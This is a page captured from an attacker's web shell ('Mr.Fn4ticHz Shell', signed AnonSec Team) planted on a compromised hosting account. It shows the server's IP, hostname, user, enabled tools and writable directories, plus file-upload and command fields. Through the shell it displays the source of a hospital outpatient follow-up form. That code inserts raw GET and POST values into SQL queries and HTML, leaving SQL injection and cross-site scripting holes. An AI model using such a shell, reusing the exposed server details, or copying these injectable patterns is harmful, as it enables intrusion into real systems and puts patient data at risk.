Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.137.217.17
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/www/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/www/login.easenup.in/OPD_Patient_follow_up.php
<?php
session_start();
// include database connection file
require_once'../function.php';
// Object creation
$insertdata=new DB_con();
include("header.php");
include("dashboarddocument.php");



if(isset($_POST['save']))
{


$prescriptionid=$_POST['prescriptionid'];
$patientid=$_POST['patientid'];
$hospital_id='0';
$Outcome=$_POST['Outcome'];
$Investigation=$_POST['Investigation'];

$Investigation_note=$_POST['Investigation_note'];
$Medication=$_POST['Medication'];
$Medication_note=$_POST['Medication_note'];

$entered_by=$_POST['entered_by'];
$Crated_At=date("F d, Y / h:i:s A");
date_default_timezone_set("Asia/Calcutta");   //India time (GMT+5:30)
$CreatedTime= date('H:i:s');
$CreateDate= date('Y-m-d');
$sql=$insertdata->OPD_Patient_follow_up($prescriptionid,$patientid,$hospital_id,$Outcome,$Investigation,$Investigation_note,$Medication,$Medication_note,$entered_by,$CreatedTime,$CreateDate,$Crated_At);

$sql=$con->query("INSERT INTO `save_activity`(`userno`, `prescriptionid`, `discription`, `link`, `entered_by`, `created_at`) VALUES ('$patientid','$prescriptionid','OPD-Patient follow-up<br>Doc.no-','View_OPD_Patient_follow_up.php?prescriptionid=$prescriptionid&patientid=$patientid&srno=','$entered_by','$Crated_At')");

echo $sql;
if($sql)
{
// Message for successfull insertion

echo "<script>alert('Record inserted successfully');</script>";
echo "<script>window.location.href='OPDPatientFollowup.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]'</script>";
}
else
{
// Message for unsuccessfull insertion
echo "<script>alert('Something went wrong. Please try again');</script>";
echo "<script>window.location.href='OPDPatientFollowup.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]'</script>";
}
}
?>
   <!-- jQuery Library -->
 <link rel="stylesheet" href="../plugins/select2/css/select2.min.css">
  <link rel="stylesheet" href="../plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">
  
  <style>
       .box{
              display: none;
     }
    
    .box2{
              display: none;
    
    }
            
       .center {
   border: 1px solid grey;
   text-align:;
}
    .center2 {
   border: 5px solid grey;
   text-align:;
}
  </style>
  <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script>
$(document).ready(function(){
    $("select").change(function(){
        $(this).find("option:selected").each(function(){
            var optionValue = $(this).attr("value");
            if(optionValue){
                $(".box").not("." + optionValue).hide();
                $("." + optionValue).show();
            } else{
                $(".box").hide();
            }
        });
    }).change();
});
</script>
<script>
$(document).ready(function(){
    $("select").change(function(){
        $(this).find("option:selected").each(function(){
            var optionValue = $(this).attr("value");
            if(optionValue){
                $(".box2").not("." + optionValue).hide();
                $("." + optionValue).show();
            } else{
                $(".box2").hide();
            }
        });
    }).change();
});


  function myFunction2021() {
  var checkBox = document.getElementById("myCheck2021");
  var text = document.getElementById("text2021");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
  
  
  function myFunctionFever12() {
  var checkBox = document.getElementById("myCheckFever12");
  var text = document.getElementById("textFever12");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}  

  function myFunctionsmell() {
  var checkBox = document.getElementById("myChecksmell");
  var text = document.getElementById("textsmell");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}  

  function myFunctionDiarrhoea() {
  var checkBox = document.getElementById("myCheckDiarrhoea");
  var text = document.getElementById("textDiarrhoea");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
} 


</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>

     <script type="text/javascript">
$(document).ready(function(){
    $('#MAForm').submit(function() {
     $('#loaderImg').show(); 
      return true;
    });
});
  </script>
<style>
      #loaderImg {
         position: absolute;
         top: 0;
         bottom: 0;
         left: 0;
         right: 0; 
         margin: auto;
         border: 10px solid grey;
         border-radius: 50%;
         border-top: 10px solid black;
         width: 100px;
         height: 100px;
         animation: spin 1s linear infinite;
      }
      @keyframes spin {
         0% {
            -webkit-transform: rotate(0deg);
            transform: rotate(0deg);
         }
         100% {
            -webkit-transform: rotate(360deg);
            transform: rotate(360deg);
         }
      }
   </style>
     <style>
   
     .switch {
  position: relative;
  display: inline-block;
  width: 90px;
  height: 34px;
}

.switch input {display:none;}

.slider {
  position: absolute;
  cursor: pointer;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: #ca2222;
  -webkit-transition: .4s;
  transition: .4s;
   border-radius: 34px;
}

.slider:before {
  position: absolute;
  content: "";
  height: 26px;
  width: 26px;
  left: 4px;
  bottom: 4px;
  background-color: white;
  -webkit-transition: .4s;
  transition: .4s;
  border-radius: 50%;
}

input:checked + .slider {
  background-color: #2ab934;
}

input:focus + .slider {
  box-shadow: 0 0 1px #2196F3;
}

input:checked + .slider:before {
  -webkit-transform: translateX(26px);
  -ms-transform: translateX(26px);
  transform: translateX(55px);
}

/*------ ADDED CSS ---------*/
.slider:after
{
 content:'No';
 color: white;
 display: block;
 position: absolute;
 transform: translate(-50%,-50%);
 top: 50%;
 left: 50%;
 font-size: 10px;
 font-family: Verdana, sans-serif;
}

input:checked + .slider:after
{  
  content:'Yes';
}



.center {
   border: 1px solid grey;
   text-align:;
}
table {
  width: 100%;
}

</style>
 <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
 
  <br>
  
<div class="container-fluid">
    <div class='row'>
        <div class='col-sm-12'>
            <div class="panel panel-primary">
               
    <div class="panel-body">
      <h4 class="text-on-pannel text-primary"><strong class="text-uppercase">Out-Patient Follow-up
 </strong></h4>
   <div class='center'>
       <div style = "display:none;" id = "loaderImg"> <div class="loader"> </div> </div>
       
<form name="Medical_Assessment" method="post" id="MAForm" >
      
   <?php
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
     echo "
<input type='hidden' value='$re[entered_by]' name='entered_by' >
";
}
?>
 <input type='hidden' name='prescriptionid' value='<?php echo $_GET['prescriptionid'] ?>' />
                <input type='hidden' name='patientid' value='<?php echo $_GET['patientid'] ?>' />
                
<?php 
$sql ="SELECT * FROM patient WHERE patientid='$_GET[patientid]' ";
$qsql = mysqli_query($con,$sql);
$rs1 = mysqli_fetch_array($qsql);

 ?>
                  
                        
 
<div class='row'>
    <div class='col-sm-12'>
        <p>Dear <?php echo $rs1['patientname'] ?>, <br><br>
We would greatly appreciate receiving your Follow-up feedback on your experience with our practice. This will  help us to provide the best quality care. As part of our commitment to safe and high  quality health care, we welcome Follow-up feedback from patients to help us identify areas where we can improve our services to better meet your needs. Your feedback is voluntary, confidential and anonymous. <br><br>
Thank you 
</p>
    </div>
</div>
  <div class='row '>
        
        <div class='panel panel-primary' style='width:100%;'>
        <div class="panel-body" style='width:100%;'>
            
          
            
            
            

        <h4 class=""> <label> How satisfied are you with the Effectiveness / Outcome 
The Treatment Provided ? :
 </label></h4> 
         <div class='col-sm-12'> 
         
         <select name='Outcome' class='form-control'>
<option value='' disabled selected>Accessibility</option>
<option value='5'>Highly Satisfied</option>
  <option value='4'>Satisfied</option>
  <option value='3'>No Comment</option>
    <option value='2'>Dissatisfied</option>
  <option value='1'>Highly dissatisfied</option>
    </select></div>
    
    
    
    </div>
    
    </div>
    </div>
    
    <div class='row '>
        <div class='panel panel-primary' style='width:100%;'>
        <div class="panel-body" style='width:100%;'>
                

       
        <div class='col-sm-6'> <label>Did you Suffer Any Reaction Due to Investigation ?</label><label class="switch">
  <input name="Investigation" type="checkbox" id="myChecksmell" onclick="myFunctionsmell()">
  <span class="slider"></span>
</label></div>
    <div class='col-sm-6'><br><div  id='textsmell' style="display:none"><input type='text' name='Investigation_note'></div></div>
   
    <br>
    
    
    </div>
    
    </div>
    </div>
    

<div class='row '>
        <div class='panel panel-primary' style='width:100%;'>
        <div class="panel-body" style='width:100%;'>
             
       
 
        <div class='col-sm-6'> <label>Did you Suffer Any Reaction Due to Medication/Treatment ? </label>
        <label class="switch">
  <input name="Medication" type="checkbox" id="myCheckDiarrhoea" onclick="myFunctionDiarrhoea()">
  <span class="slider"></span>
</label>
    </div>
    
    
    
    <div class='col-sm-6'><br>
       <div  id='textDiarrhoea' style="display:none"><input type='text' name='Medication_note'></div>
    </div>
    
    </div>
    
    </div>
    </div>
 
 
  <div class='row '>
      
    <input type='submit' class='btn btn-success' value='Save' name='save'>
    </div>   
<br><br>


</form>

<script src="../plugins/select2/js/select2.full.min.js"></script>
<script>
  $(function () {
    //Initialize Select2 Elements
    $('.select2').select2()

    //Initialize Select2 Elements
    $('.select2bs4').select2({
      theme: 'bootstrap4'
    })
    </script>
    </div>
    
  </div>
        </div>
    </div>
  
  </div>
      
<style>
    .text-on-pannel {
  background: #fff none repeat scroll 0 0;
  height: auto;
  margin-left: 20px;
  padding: 3px 5px;
  position: absolute;
  margin-top: -47px;
  border: 1px solid #337ab7;
  border-radius: 8px;
  
}

.panel {
  /* for text on pannel */
  margin-top: 27px !important;
}

.panel-body {
  padding-top: 30px !important;
  
}

.panel-primary {
    
    border-color: #116bb9;
}

.donate-now {
     list-style-type:none;
     margin:25px 0 0 0;
     padding:0;
}

.donate-now li {
     float:left;
     margin:0 5px 0 0;
}

.donate-now label {
     padding:5px;
     border:1px solid #CCC; 
     cursor:pointer;
}

.donate-now label:hover {
     background:#DDD;
}
</style>
<?php
if(isset($_SESSION[adminid]))
{
?>
   
                      <?php
              
                ?>
            </p>
        </div><!-- .toggle-content (end) -->
    </div><!-- .toggle (end) -->
<?php
}
?>
    </p>
  </div>
</div>
</div>
 <div class="clear"></div>
  </div>
</div>
<?php
include("footer.php");
?>

Anon7 - 2022
AnonSec Team